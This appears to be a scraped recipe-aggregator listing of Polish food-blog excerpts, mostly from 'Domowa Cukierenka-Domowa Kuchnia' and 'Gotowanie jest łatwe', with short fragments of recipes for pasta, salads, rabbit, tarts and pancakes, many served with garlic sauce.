wody, w której się gotował. Odlany makaron wrzucamy na patelnie z boczkiem, mieszamy. Wyłączamy gaz. Wlewamy masę jajeczno - serową. Intensywnie mieszamy, dolewamy trochę wody od makaronu, aby powstał kremowy sos. Nakładamy na talerze, posypujemy parmezanem i świeżo mielonym pieprzem. Smacznego

Pelusiowa Kuchnia
Pstrąg w sosie śmietanowo-chrzanowym 240

lodówki.)   Dusić pod przykryciem przez około 5 minut.   Po tym czasie na patelnię wlać śmietankę, dodać chrzan, koperek, wymieszać i poddusić dodatkowo przez kilka minut.   (Sos powinien lekko zredukować się.) W razie potrzeby doprawić do smaku

Di gotuje
pikantna sałatka z kurczakiem 237

pieprzem i usmażyć. Jogurt wymieszać z majonezem, startym czosnkiem i przyprawami. Paprykę, ogórki i cebulę pokroić w kosteczki. Makaron ugotować i wystudzić. Wszystkie składniki połączyć i wymieszać z sosem czosnkowym. Odstawić na minimum godzinę, aby smaki przeszły

Domowa Cukierenka-Domowa Kuchnia
tartaletki "trzy sery" 201

plasterku żółtego sera, wyłożyć mięso a następnie pomidorki, mozarellę i plasterki camemberta. Piec w 200*C około 20-25 minut. Podawać na ciepło z sałatką z pomidorów i sosem czosnkowym

Domowa Cukierenka-Domowa Kuchnia
grzybki marynowane z kolendrą 206

Dobrze przyprawione marynowane grzybki są doskonałą zakąską i dodatkiem np. do domowego sosu tatarskiego lub sałatek.  Składniki: 400 g małych grzybków 1/2 łyżeczki soli zalewa: 1 szklanka wody 1/4  szklanki octu 1 łyżka cukru 1/2 łyżeczki soli ziele angielskie liście laurowe kolendra gorczyca Oczyszczone grzybki wrzucić do posolonego wrzątku i gotować kilka minut a następnie odcedzić. Składniki zalewy

Domowa Cukierenka-Domowa Kuchnia
królik w sosie kurkowym 192

Mięso z króika to jedno ze zdrowszych mięs. Jest bardzo chude i delikatne, dlatego świetnie kompmuje się z kurkami i śmietanowym sosem. Składniki: 6 nóżek z królika 4 ząbki czosnku 2 łyżki masła 300 g kurek szklanka kwaśnej śmietany 1/2 pęczka natki pietruszki cebula 2 łodygi kopru 2-3 liście selera sól, pieprz ostra i słodka papryka 2 liście laurowe

Domowa Cukierenka-Domowa Kuchnia
złote udka 159

marchewkę pokrojoną w grube plasterki. Obsmażyć  na złoto, dodać seler, zalać 1/2 szklanki wody i dusić pod przykryciem około godziny. Pod koniec duszenia zdjąć pokrywkę i odparować sos. Podawać z ziemniakami i surówką

Domowa Cukierenka-Domowa Kuchnia
kieszonki z szynką i serem 182

Takie naleśnikowe kieszonki z pikantnym farszem podaję na ciepło na dwa sposoby: albo jako drugie danie z surówką, albo z dobrze doprawionym czystym barszczykiem.  Świetnie też smakują z sosem czosnkowym.  Składniki: na ciasto: 1,5 szklanki mleka 2 jajka 150 g mąki 1/2 łyżeczki soli 1 łyżka oleju na nadzienie: 250 g szynki 1 duża cebula

Domowa Cukierenka-Domowa Kuchnia
naleśniki z serem i bananami 184

waniliowym. Banana pokroić w kostkę i delikatnie wymieszać z masą serową. Na każdy naleśnik położyć porcję nadzienie i zwijać w rulon. Dodatkowo można posypać cukrem pudrem lub polać słodkim sosem

Domowa Cukierenka-Domowa Kuchnia
słowacki pudding z gorącymi malinami 207

Napełnić budyniem i odstawić do wystudzenia. Maliny zasypać cukrem i tuż przed podaniem podgotować chwilę, aż sok trochę odparuje. Deser przełożyć na talerzyki odwracając foremki dnem do góry. Polać sosem malinowym

Domowa Cukierenka-Domowa Kuchnia
surówka pekińska z kukurydzą 196

jogurt wymieszać z przyprawami i startym czosnkiem. Kapustę zeszatkować. Ogórki i cebulę pokroić w kostkę. Marchewkę zetrzeć na średnich oczkach tarki. Kukurydzę odsączyć z zalewy. Wszystkie składniki wymieszać z sosem czosnkowym i odstawić na chwile, aby smaki się połączyły

Domowa Cukierenka-Domowa Kuchnia
królik w śmietanie i marchewce 177

garnku rozgrzać masło, wrzucić marchewkę, wlać odrobinę wody, przyprawić solą i pieprzem i dusić do miękkości. Na końcu dodać śmietanę i wymieszać. Nie gotować ze śmietaną. Nogi podawać polane sosem

Domowa Cukierenka-Domowa Kuchnia
bułki z farszem pieczarkowym 191

takie bułeczki z boczkiem i pieczarkami. Dodatkowo posypałam je serem i oregano, więc pachniały trochę jak pizza. Takie bułeczki będą świetnie pasowały do czystego barszczu lub same np. z sosem czosnkowym. Domownicy tak się na nie rzucili, że ledwie zdążyłam schować jedną, żeby zrobić zdjęcie w przekroju.  *wyszło mi 7 dużych bułek Składniki: na ciasto: 500 g mąki

Domowa Cukierenka-Domowa Kuchnia
sałatka z pieczonego kurczaka z rodzynkami i ananasem 216

Uwielbiam sałatki a od tej nie mogę się oderwać. Soczysty słodki ananas świetnie współgra z pieczonym lekko pikantnym mięsem i czosnkowym sosem. Zbliża się okres częstszego podejmowania gości więc taka sałatka będzie idealna aby podać ją na stół. Możecie ją przygotować wtedy, kiedy zostanie Wam trochę pieczonego kurczaka. Składniki: 2 udka z kurczaka 1/2 puszki ananasa 1/2 szklanki rodzynek

Domowa Cukierenka-Domowa Kuchnia
pikantne francuskie gniazdka z kiełbasą 204

Dziś andrzejki więc podaję propozycję na szybką  przekąskę, którą można jeść na ciepło lub zimno, z sosem czosnkowym. Ciasto francuskie jest niezastąpione w mojej kuchni, zwłaszcza kiedy potrzebuję przygotować coś ekspresowo.  Składniki: arkusz ciasta francuskiego 1 kiełbasa 8-10 pieczarek po kawałku żółtej i czerwonej papryki cebula kilka plastrów żółtego sera 2 łyżki oleju sól pieprz ostra papryka

Domowa Cukierenka-Domowa Kuchnia
kulki mięsne z mozarellą 170

jest ciągnąca. Można do niej użyć mozzarelli w małych kulkach, ja użyłam pokrojonej zwykłej, bo małych kuleczek nie mogłam u nas kupić. Takie koreczki są bardzo smaczne z dodatkiem sosu czosnkowego. Składniki: 400 g mięsa mielonego jajko 2-3 łyżki bułki tartej + do panierowania 125 g sera mozarella ( 1 duża kulka) ząbek czosnku sól pieprz oliwki do dekoracji tłuszcz

Domowa Cukierenka-Domowa Kuchnia
sałatka ziemniaczana z musztardą 194

cebulę posiekać, grzybki także można pokroić jeśli są duże kawałki. Musztardę wymieszać z majonezem i pieprzem. Wystudzone ziemniaki obrać i pokroić w dość dużą kostkę. Wszystkie składniki wymieszać z sosem musztardowym

Domowa Cukierenka-Domowa Kuchnia
musztardowy gulasz z łopatki 185

przykryciem. Po około pół godziny dodać plasterki pieczarek, marchewkę pokrojoną w kostkę i groszek. Kiedy warzywa będą miękkie gulasz przyprawić, dodać musztardę. Mąkę rozmieszać z odrobiną wody i zagęścić sos, zagotować

Domowa Cukierenka-Domowa Kuchnia
faszerowany kurczak pieczony w soku z pomarańczy 177

żaroodpornym i wstawić do lodówki na noc lub minimum kilka godzin. Przed pieczeniem kurczaka obłożyć cząstkami jabłka. Piec w 200*C około 90 minut, podlewając co kwadrans tworzącym się sosem. Pod koniec pieczenia polać sokiem wyciśniętym z pomarańczy

Domowa Cukierenka-Domowa Kuchnia
biała surówka z rodzynkami 177

soli Jabłka zetrzeć na tarce o grubych oczkach, seler na mniejszych. Dodać rodzynki, śmietanę i chrzan. Wymieszać, przyprawić do smaku. Najlepiej smakuje po około pół godziny, kiedy rodzynki napęcznieją sosem z surówki. *przepis podpatrzyłam w gazetce Biedronki

Domowa Cukierenka-Domowa Kuchnia
hot wings - pikantne skrzydełka jak z KFC 171

zmiksować na gładkie, gęste ciasto. Skrzydełka zanurzać w cieście, następnie w mące i wrzucać na rozgrzany tłuszcz. Smażyć około 12-15 minut na średnim ogniu. Podawać z ketchupem lub sosem czosnkowym, w towarzystwie frytek lub surówki

Domowa Cukierenka-Domowa Kuchnia
roladki schabowe z chrzanem 200

zwijać w roladki. Każdą owinąć w boczek (jeśli trzeba to spiąć wykałaczkami) i nasmarować pozostałą mieszanką przypraw.  Piec w piekarniku około godziny w 200*C podlewając tworzącym się sosem

Domowa Cukierenka-Domowa Kuchnia
tarta z wędzoną makrelą i beszamelem 225

jest kruchy a puchaty drożdżowy, ale taki moim zdaniem bardziej pasował. Nadzienie jest kremowe, delikatne i świetnie się komponuje z ziołami i soczystymi pomidorami. Ja dodatkowo podałam ją z sosem czosnkowym. Polecam bardzo na drugie danie lub ciepłą kolację.  *foremka do tarty o średnicy 28 cm Składniki: na ciasto: 225 g mąki 15 g drożdży  135 ml letniej

Domowa Cukierenka-Domowa Kuchnia
placki z ziemniaków i marchewki 155

alternatywa dla klasycznych placków ziemniaczanych. Są chrupiące i mają piękny złoty kolor. Lubimy wyraźne w smaku placki, dlatego doprawiłam je dużą ilością czosnku, pieprzu i kolendry a podałam z sosem czosnkowym. Do tego surówka i mamy pyszny piątkowy obiad.  Składniki: 1 kg ziemniaków 2 duże marchewki 3 jajka 2 ząbki czosnku 1 cebula pieprz sól tłuczona kolendra olej

Domowa Cukierenka-Domowa Kuchnia
naleśniki meksykańskie 292

lubię czyli bez tłuszczu i duuuże dzięki czemu łatwo się je zwija. Na pierwszy rzut poszły naleśniki wytrawne po brzegi wypełnione pikantnym mięsnym farszem. Wspaniale smakowały ciepłe z dodatkiem sosu czosnkowego ale na zimno też były nie złe. Doskonale sprawdziły się jako danie na wynos, wystarczyło zawinąć w złotko i przekąska do pracy gotowa.  Składniki na 4 duże sztuki

Domowa Cukierenka-Domowa Kuchnia
sakiewki z pieczarkami 183

wcale nie muszą być nudne, wystarczy nadać im inny kształt. Te w postaci sakiewki kryły w sobie pikantny farsz pieczarkowy z boczkiem. Podałam je z surówką z pomidorów i sosem czosnkowym.  Składniki: na ciasto: 1,5 szklanki mleka 2 jajka 150 g mąki 2 łyżki oleju rzepakowego sól na nadzienie: 300 g pieczarek 150 g boczku cebula ząbek czosnku

Domowa Cukierenka-Domowa Kuchnia
Steak Show w angelo Hotel- relacja 154

mega apetycznie, przepięknie i aż żal było je jeść. Jako danie główne podano trzy rodzaje wołowiny: Ribe Eye, polędwica wołowa i New York. Do tego grillowane warzywa, frytki i sosy, które z tego wszystkiego smakowały mi najbardziej. Na spotkaniu panowała luźna i bardzo miła atmosfera. Najbardziej zadowolona jestem z tego, że poznałam wiele fantastycznych osób z blogowego świata. Mam nadzieję

Domowa Cukierenka-Domowa Kuchnia
zapiekanka z porem, kurczakiem i boczkiem 184

Taka zapiekanka to doskonały pomysł na ciepłą kolację lub drugie danie. Zrobiłam ją na grubym puszystym cieście drożdżowym z mnóstwem naszych ulubionych dodatków. Świetnie smakuje polana ketchupem lub sosem czosnkowym.  *foremka 25*34 cm Składniki: na ciasto: 450 g mąki pszennej 270 ml letniej wody 30 g drożdży 50 g stopionego masła łyżeczka soli łyżeczka cukru dodatki: por (dolna

Domowa Cukierenka-Domowa Kuchnia
makaron w sosie porowo-pieczarkowym 200

osoloną wodę i ugotować makaron. Kiedy pieczarki i por będą uduszone dodać do nich serek topiony, przyprawić pieprzem i wymieszać. Ugotowany makaron odcedzić i dodać do rondla, połączyć z sosem

Domowa Cukierenka-Domowa Kuchnia
kolorowa sałatka z roszponką 209

kawałki, oliwki na połówki. Musztardę, sok z cytryny i olej wymieszać. Dodać sól, cukier i pieprz. W misce układać sałaty na zmianę z pozostałymi składnikami. Tuż przed podaniem polać sosem

Domowa Cukierenka-Domowa Kuchnia
drożdżowe ślimaki ze szpinakiem 202

Jeśli lubicie drożdżowe wytrawne wypieki to polecam takie ślimaczki ze szpinakiem. Są pyszne na ciepło z dodatkiem sosu czosnkowego lub na zimno jako przekąska do zabrania ze sobą na piknik lub wycieczkę.  Składniki na 15 sztuk: 500 g mąki pszennej szklanka ciepłego mleka 30 g drożdży 30 g smalcu 1 jajko łyżeczka soli łyżeczka cukru na nadzienie

Domowa Cukierenka-Domowa Kuchnia
tarta jajeczna z boczkiem 167

klasycznym kruchym cieście, z nadzieniem z jajek, boczku i dużą ilością zielonej cebulki. Proste ale wspaniałe wiosenne danie na obiad lub kolację.  Polecam podać ją z ketchupem, sosem czosnkowym lub chrzanowym.  *forma do tarty 28 cm Składniki: na ciasto: 300 g mąki pszennej 2 żółtka 1 jajko 150 g masła 2 łyżki zimnej wody szczypta soli na nadzienie

Domowa Cukierenka-Domowa Kuchnia
drożdżowe paszteciki z cebulą 153

przyjaciółmi. Robię je z ciasta kruchego lub z drożdżowego. Najczęściej wypełniam je farszem z kapusty kiszonej lub pieczarek ale tym razem postawiłam na cebulowe nadzienie. Wspaniale smakowały podane z sosem czosnkowym.  Składniki: na ciasto: 600 g mąki 1 szklanka mleka 30 g drożdży 2 jajka łyżeczka soli łyżeczka cukru 100 g masła łyżka ziół prowansalskich łyżeczka bazylii na farsz

Domowa Cukierenka-Domowa Kuchnia
placuszki pizzowe 2729

robię na drugie danie lub kolację a dodaję do niech to, co akurat mam w lodówce. W smaku trochę przypominają pizzę i podobnie pachną. Świetnie smakują z ketchupem lub sosem czosnkowym.  Składniki: 500 ml mleka 300 g mąki  2 jajka 150 g pieczarek 150 g żółtego sera 1/2 żółtej papryki 1/2 czerwonej papryki cebula 150 g szynki

Domowa Cukierenka-Domowa Kuchnia
wyniki konkursu z Almette 235

się w komplecie.  A poniżej przedstawiam zwycięskie przepisy: * przepis Agnieszki Chowaniec  Truskawkowe pancakes z serkiem  * przepis Anety Mierzwy-Łyczko Roladki drobiowe ze serkiem żurawina-wiśnia i sosem żurawinowym. *przepis Danuty Grysiewicz   Owocowy koktajl z serkiem *przepis Justyny Radzbanek Owocowa tarta z kremem Almette WSZYSTKIM BARDZO GRATULUJĘ !!! Zapraszam do obejrzenia transmisji z naszych kulinarnych zmagań. Można

Domowa Cukierenka-Domowa Kuchnia
Finał konkursu Taste the Summer by Almette Fruit - relacja 162

letnimi owocami w towarzystwie prażonych migdałów oraz danie, które zachwyciło wiele osób: roladki z kurczaka z szynką oraz serkiem z wiśnią i żurawiną, duszone z warzywami a podane z sosem z suszonych owoców i cytrusów oraz nutką cynamonu.   Wszystkie potrawy przygotowane przez uczestników były tak wspaniałe i oryginalne, że zachwytom nie było końca. Tym razem najlepsza okazała się Asia

Domowa Cukierenka-Domowa Kuchnia
sałatka z tuńczykiem i rodzynkami 147

bardzo lubiane. Sam tuńczyk może wydawać się mdły, dlatego jego smak warto przełamać jakimś wyrazistym dodatkiem. Do tej sałatki dodałam rodzynki  a zamiast majonezu domowy sos czosnkowy. Dzięki temu nie była mdła ale miała wyraźny, lekko ostro-słodki smak. Składniki: 1/2 kapusty pekińskiej 5 kawałków papryki konserwowej 2 puszki tuńczyka w oleju puszka kukurydzy 1/2 szklanki rodzynek szklanka makaronu

Domowa Cukierenka-Domowa Kuchnia
drożdżowe sakiewki z pieczarkami 154

Wszelkiego rodzaju wytrawne drożdżowe wypieki goszczą na moim stole bardzo często. Najczęściej podaję je na przyjęciach, koniecznie w towarzystwie czosnkowego sosu. Uwielbiam je na ciepło ale na zimno też są bardzo smaczne. Te z pieczarkami bardzo smakowały moim gościom.  Składniki: na ciasto: 300 g mąki 15 g drożdży  1/2 szklanki mleka 1 jajko 1/2 łyżeczki soli 1/2 łyżeczki

Domowa Cukierenka-Domowa Kuchnia
pikantny ketchup z papryki 188

klik ) postanowiłam spróbować ketchupu z papryki. Zrobiłam go w wersji pikantnej bo lubimy ostrzejsze smaki. Polecam go nie tylko jako zamiennik tradycyjnego ketchupu pomidorowego ale też jako bazę sosu do ryżu czy makaronu. Można go połączyć z mięsem z kurczaka, podać jako dodatek do dań z grilla czy pieczonych mięs.  * Uwaga- podczas gotowania masa była dość rzadka. Może taka

Domowa Cukierenka-Domowa Kuchnia
koperty naleśnikowe a'la pizza 21979

naleśniki nadziałam farszem podobnym do składników pizzy, poskładałam w koperty, opanierowałam i usmażyłam. Mozzarella w środku świetnie się roztopiła i przy krojeniu była idealnie ciągnąca. Oczywiście podałam je z sosem czosnkowym, który u nas jada się litrami. Takie naleśniki polecam na drugie danie lub kolację.  Składniki: na ciasto: 3 szklanki mleka 300 g mąki 3 jajka 1/3 łyżeczki soli

Domowa Cukierenka-Domowa Kuchnia
Jak podać sushi w domu? 217

sushi czasami stosuje się także małe drewniane stoliczki. Każdy gość powinien posiadać własny mniejszy talerzyk, na którym układa się zabrane z patery rolki, a także małą miseczkę na sos sojowy do moczenia w nim rolek. Pod talerze można także ułożyć podkładki z bambusa, a stół będzie prezentował się naprawdę elegancko. Pałeczki do sushi Zasadniczo zgodnie z tradycją jedzenia sushi

Domowa Cukierenka-Domowa Kuchnia
pieczone pierogi z kaszą i kapustą 171

pierogowe jest nieszczególne. Mile zaskoczył nas efekt takiego eksperymentu, wyszły z tego świetne chrupiące paszteciki, które mogłabym spokojnie podać na spotkaniu z przyjaciółmi. My takie przekąski zawsze jadamy z sosem czosnkowym, tak też je podałam i tym razem.  Składniki: na ciasto: 300-350 g mąki 220 ml wrzątku 1 jajko 30 ml oleju szczypta soli na farsz

Domowa Cukierenka-Domowa Kuchnia
5. Dynia uniwersalna: czyli placki z soczewicy nie tylko dla roślinożerców ★ 229

być jak najbardziej odsączone od wody i nie rozgotowane! Jeżeli chcesz uzyskać efekt "bardziej chrupkich" placuszków, zrób je cieńsze lub posmaruj wierz oliwą z oliwek. Placuszki można podawać z sosem jogurtowym lub keczupem Smacznego

Pland based fille
Sałatka z jarmużu, ogórka i sera koziego 164

surowe, więc oddają nam pełnię smaku i tego co w nich najlepsze. Bazą jest jarmuż z ogórkiem, ostrości nadają rzodkiewki, a specyficznego smaku kozi ser. Całość dopełnia lekki sos na bazie oliwy i soku z cytryny

Milion Smaków
27 pomysłów na makaron 910

rukolą Tagliatelle z pieczarkami i cukinią z dodatkiem oliwy z białych trufli Tagliatelle z pieczarkami, polędwiczką i oliwkami Tagliatelle z liśćmi szpinaku Tagliatelle z mieloną wieprzowiną i brokułami w sosie z serem pecorino Zapiekanka z makaronu pełnoziarnistego z oliwkami kalamata Ziołowe spaghetti z zieloną fasolką szparagową

Moja smaczna kuchnia
Adżarskie chaczapuri z adżapsandali 196

fetą, polską bryndzą i włoską mozzarellą. Polecam jednak dodać jeszcze jeden mocno ciągnący się podczas pieczenia ser. Chaczapuri możemy traktować jako osobne danie, podobnie jak pizzę i podać z sosem adżika albo właśnie z adżapasandali, czyli rodzajem leczo z bakłażanów, pomidorów, papryki i ziemniaków. Wersji jest mnóstwo i pewnie w każdym gruzińskim domostwie przyrządza je się inaczej. Danie gorąco polecam

Food Square
Kopytka z dyni! Dyniowo- twarogowe kluseczki z korzennym sosem! 191

stolnicę podsypaną mąką pszenną wyjmujemy partiami ciasto, rolujemy w wałek i odcinamy końcówkę wałka- kopytko! Kopytka gotujemy we wrzątku od momentu wypłynięcia 4-5 minut na małym ogniu. - KORZENNY SOS DO KOPYTEK: - 4 łyżki masła - 1- 2 łyżki oliwy z oliwek - 3 łyżki miodu - laska cynamonu - gruszka dojrzała - hlust białego wytrawnego wina W rondlu klarujemy masło, dodajemy oliwę, gruszki, przyprawy

SMYKWKUCHNI
Schab pieczony z boczkiem. Schab szpikowany boczkiem. 306

przed pokrojeniem. Ostrożnie usuwamy wykałaczki. Tak upieczony schab wieprzowy wykorzystaliśmy tym razem jako wędlinę do kanapek krojąc w dość grube plastry. Tym razem nic nie zostało na przygotowanie obiadu, sos z pieczenia przełożyłam do silikonowego naczynia i zamroziłam, zostanie wykorzystany innym razem. Smacznego! The post Schab pieczony z boczkiem. Schab szpikowany boczkiem. appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Jedzonko do pracy #43 224

pracy, z czego potem jestem bardzo zła, bo wydaje pieniądze na niesmaczne jedzenie ;/ Ale dziś mam dla Was coś pysznego - lahmacun - rodzaj tureckiej pizzy z jagnięciną, do tego sos czosnkowy i surówką z czerwonej kapusty - polecam!  Smacznego

Codzienne Gotowanie
Makaron w śmietanowym sosie z cukinią, koperkiem i natką pietruszki (wegański) 204

początkowej, co jakiś czas odlewając nadmiar wody. Koperek i natkę pietruszki drobno siekamy, papryczkę kroimy na małe kawałeczki i dodajemy do zawartości patelni. Całość zalewamy śmietanką, doprawiamy i mieszamy. Sos możemy wymieszać z ugotowanym makaronem, bądź podać osobno. Posypujemy parmezanem (np. wegańskim). Smacznego

Be Fit Be Strong
WANILIOWY SERNIK NA ZIMNO Z WIŚNIAMI I GALARETKĄ Z MANGO 196

Rodzina Grzegorza jest zaprzyjaźniona z moją, więc w przeddzień mojego wylotu do Wielkiej Brytanii zrobiliśmy sobie prawdziwą ucztę. Raczyliśmy się różnymi specjałami, między innymi niesamowicie smacznymi pieczonymi ziemniaczkami z sosem czosnkowym i kotletami drobiowymi z pieczarkami i żółtym serem. Pozdrowienia dla Anny, Grzegorza, Izy, Kamili, Łukasza i małej Wiktorii :). Przed wylotem jest zawsze dużo bieganiny, załatwiania ostatnich spraw, więc zdjęcia

Przepisy Aleksandry
Gotowane pulpety szpinakowe 201

było smaczne. Te pulpety są tego doskonałym przykładem. Idealnie smakują z surówką z selera oraz brązowym ryżem. Pozostają wilgotne i soczyste. Można pokusić się o zrobienie do nich sosu, choć nam smakowały w takiej formie, zupełnie bez niczego. 1/2 kg mięsa mielonego 1 duża cebula 200g mrożonego szpinaku pół szklanki bułki tartej dwie łyżki masła 2 kostki bulionu warzywnego litr

Szefowa kuchni
Kotleciki z kaszy jaglanej i brokułów 246

minut w temperaturze 200 stopni C. W połowie przewrócić na drugą stronę. Polecam posmarować je z wierzchu niewielką ilością oleju rzepakowego - ładnie się zezłocą. ;) Najlepiej smakują z sosem jogurtowo-czosnkowym i sałatką. Smacznego

Kuchnia Ellie
Idealne ciasto na pizzę! 9462

ciasto wałkujemy na placek o średnicy 15-20 cm i grubości 3-5 mm. Boki robimy lekko grubsze. Placek przekładamy na blachę do pieczenia. Po tym powierzchnię pizzy smarujemy sosem i na nim umieszczamy ulubione dodatki. Pizzę pieczemy w rozgrzanym na 250-270 stopni piekarniku (max) przez ok. 7-9 min, aż brzegi pizzy znacznie zbrązowieją. Smacznego

Kuchnia Łukasza
"Słodka Lubella"... czyli konkurs z makaronami w tle ! 162

moich ulubionych "jedzeniowych" świąt. Z tej okazji mam dla Was konkurs. Zadanie może nie będzie super, extra proste...bo poproszę Was o wykorzystanie makaronów - na słodko ! Róbcie ciasta, zapiekanki, sosy do makaronu i co tam Wam jeszcze przyjdzie do głowy, byle by SŁODKO było ! Możecie korzystać z makaronów tradycyjnych, albo pełnoziarnistych. Może zaskoczycie mnie daniem słodkim, ale zdrowym

kolorowotorcikowo
Placki ziemniaczane z kurczakiem i bazylią z sosem z jogurtu naturalnego 256

Druga połowę szczypiorku łączymy z jogurtem naturalnym. Placki łyżką wykładamy na rozgrzany olej rzepakowy na patelni. Smażymy na niedużym ogniu z obu stron do zarumienienia. Zjadamy na ciepło z sosem jogurtowym. Smacznego

ChilliJemy
PIECZEŃ RZYMSKA Z SOSEM HOLENDERSKIM. THERMOMIX TM5 240

formy o dł ok 30 cm, następnie ułożyć na masie ugotowane jajka i przykryć dokładnie resztą mięsa, dokładnie docisnąć, wygładzić powierzchnię wstawić do piekarnika piec ok 70 min.  SOS HOLENDERSKI SKŁADNIKI: 250 g masła (pokroić na kawałki) 50 g wody 1 łyżka soku z cytryny 3 żółtka 1/2 łyżeczki soli świeżo mielony pieprz PRZYGOTOWANIE: Do naczynia miksującego włożyć masło

ClauditteMissCooking
Krem gryczany 200

Krem gryczany na wtorek. Wróciłam i mam nadzieję, że już nie będę musiała się żegnać. Krem gryczany z sosem malinowym i mleczkiem kokosowym  Przepis: własny / 1 porcja / 50 g kaszy gryczanej niepalonej woda 100 ml mleka łyżka miodu lub coś innego do posłodzenia opcjonalnie: ziarenka z laski wanilii / (dodałam)  aromat/ ekstrakt waniliowy  przyprawa korzenna Kaszę gryczaną wieczorem

tost z dżemem
Puree z dyni, super do ciast, placuszków, deserów 174

wyczarować. Dzisiaj chce Wam pokazać jak zrobić samemu czyste puree z dyni. Za kilka dni wystawie również puree z dyni na ostro. Będzie to super jako dodatek do lazanii , sosów, zup itp. Dynię umyć, osuszyć i pokroić na mniejsze kawałki. Następnie za pomocą łyżki wyjąć środek z nasionami. Wyłożyć oczyszczoną dynię na blaszkę wyłożoną papierem do pieczenia. Dynię ukłożyć skórą

Kuchnia Pokoleń
INNA CAPRESE – dietetyczna sałatka z burakiem 215

plastry. Umyj pomidory- pokrój na plastry. Przekładaj buraka,jaja i pomidory na półmisku. Dodaj natkę selera. Rozpuść miód w kąpieli wodnej i dodaj musztardy, szczyptę soli. Wymieszaj, powstanie aromatyczny sos. Polej nim sałatkę. Przed podaniem posyp tartymi migdałami blanszowanymi. Podana na półmisku  PORCELANA BOGUCICE  prezentuje się niezwykle apetyczne, a przy tym wykwintnie i elegancko. Smacznego

Z Kuchni Do Kuchni
Wegańskie burgery z batatów 219

moich bułek, no przecież): 500 g ugotowanej kaszy bulgur (waga po ugotowaniu, suchej to będzie jakieś 200 g) 1 duży batat (mój miał 500 g) 3 łyżki ciemnego sosu sojowego 100 ml oleju roślinnego po pół łyżeczki: soli, pieprzu, czosnku granulowanego, papryki wędzonej 50 g ziaren słonecznika 50 g ziaren sezamu 1 cebula 30 g mąki (duża łyżka, u mnie

greenscarf
Tarta z Karmelizowaną Cebulą i Suszonymi Pomidorami 185

oliwy łyżeczka kaparów 2 Kule sera Mozzarella 1 łyżeczka cukru 3 łyżki koncentratu pomidorowego 2 łyżeczki bazyli i majeranku  oliwa z oliwek Dodatkowo: Świeże liście szpinaku Domowy sos czosnkowy   Sposób Wykonania: 1. Wszystkie Składniki Ciasta Łączymy ze Sobą.  2. Z ciasta formujemy dwie kule.  3. Kule oklejam folią spożywczą, a następnie wkładam do lodówki

Gotowanie Patki
Restauant Week w My Corner: nie taki ten dzik zły 202

był bardzo poprawnie przyrządzony. Delikatny, soczysty, przyjemnie się kroił i smakował nawet rzeczonemu przeciwnikowi dziczyzny, czyli mnie. Jego charakterystyczny leśny smak, delikatnie i w nienarzucający sposób przebijał się spod sosu na lipowym miodzie z lokalnej pasieki Migoccy, którym był okraszony. Mimo wszystko dla mnie najsmaczniejsza była cała oprawa dania, a dzik tworzył tylko konieczny, acz niezły dodatek. Ale cóż, żaden

Food Square
Zrób to sam. Ocet jabłkowy 197

Ocet jabłkowy jest u mnie w domu zawsze. Używam go do sosów sałatkowych , doprawiania surówek i różnych dań a nawet do napojów. To produkt naturalny, z przyjazną naszemu organizmowi florą bakteryjną, po prostu zdrowy. Żadnej chemii, żadnych sztucznych dodatków i zamiast kupować zróbcie go sobie sami. Zrobienie octu jest bardzo proste a właściwie to on się sam robi. Stoi sobie

Smaczna Pyza
Krwawa panna cotta 231

waniliowego, czekoladowego i truskawkowego (a ten ostatni i tak nie zawsze). Dorosłym natomiast z pewnością do gustu przypadnie cudownie kremowa konsystencja i oryginalny, jeżynowo-lawendowy smak, przełamany lekko kwaskowym sosem. Na talerzu deser wygląda pięknie, choć może trochę krwawo... Ale to w końcu Halloween, prawda...? Przepis na to cudo znalazłam u Łucji , od siebie dodałam lawendową nutę.  Jeśli

Pożeraczka, czyli raz adobrze
Zielone naleśniki z wytrawnym nadzieniem 205

rozetrzeć, w razie potrzeby dodać 1-2 łyżki mleka , oliwki pokroić w kosteczkę, doprawić pastę do smaku i nadziewać naleśniki. Podawać w temperaturze pokojowej lub na zimno, z dowolnym sosem pomidorowym i oliwkami Opublikowany

Gotowanie jest łatwe
Kuskus ze szczypiorkiem a'la omlet 170

smażenia Kaszkę wymieszać z jajkiem i szczypiorkiem . Na Patelni rozgrzać łyżkę tłuszczu wyłożyć masę i rozklepać. Przypiec na wolnym ogniu, obrócić i przysmażyć drugą stronę. Podać na śniadanie z sosem lub surówką

Gotowanie jest łatwe
Tarta serowa z groszkiem cukrowym 157

czasie ser się zetnie i można ułożyć strączki groszku , mozzarellę , posypać drobno posiekaną papryczką chili i oregano. Zapiec ok 20-25 min. Ja podałam z sosem paprykowym słodko kwaśnym

Gotowanie jest łatwe
Zapiekanka ziemniaczana z mięsem, w kapuście pekińskiej. 249

nasmarować górę zapiekanki. Okryć całość folią aluminiową i piec ok 45 min w temp 190 st. Przed zakończeniem pieczenia na chwilę odkryć by listki kapusty przyrumienić. Podawać z sosem pomidorowym. Opublikowany

Gotowanie jest łatwe
Marynowany kurczak z grilla 148

kawałki. Składniki marynaty wymieszać, namoczyć w niej mięso na ok 12 godzin. W międzyczasie 2-3 razy męso obrócić w marynacie. Piec na grillu ok 35 min podawać z sosem czosnkowym, pieczonymi ziemniaczkami i sałatką

Gotowanie jest łatwe
Zielone pancakes z buraka naciowego 180

jednolitą zieloną masę, dodać jajko , mąkę, proszek do pieczenia i przyprawy, wymieszać ciasto mikserem, na koniec dodać oliwę. Na małej patelni smażyć jednakowej wielkości placuszki .  Podawać z sosem mięsnym lub pomidorowym

Gotowanie jest łatwe
Karkówka duszona i rzodkiewki z tartą bułką 164

Przykryć i dusić ok 40 min. W razie potrzeby uzupełnić by nie przypalić mięsa. Na koniec delikatnie sypiąc przez małe siteczko dodać mąkę i szybko wymieszać by powstał ładny sos. Rzodkiewki umyć odciąć ogonki i natkę , ugotować w wodzie , przez ok 5-7 min. Odcedzić, zalać mlekiem i zagotować ponownie w mleku, przez chwilę , ponownie odcedzić. Przygotować z masła

Gotowanie jest łatwe
Puree z kalafiora i duszona wieprzowina 148

stron. Przełożyć do garnka do duszenia przepłukać patelnię i to również dodać do mięsa. Dodać przyprawy i ocet oraz czosnek. Dusić mięso do miękkości . ok 45-50 min. Sos odparować lub w razie potrzeby dodać odrobinę wody. Podawać z puree z kalafiora

Gotowanie jest łatwe
Cukinia faszerowana z piekarnika 158

włożyć do wnętrza cukinek. Cukinie nasmarować oliwą, ustawić w naczyniu żaroodpornym , podlać ok pół szkl wody, okryć folią aluminiową i zapiec ok 45 min. Podać z pieczonymi ziemniaczkami i sosem np koperkowym

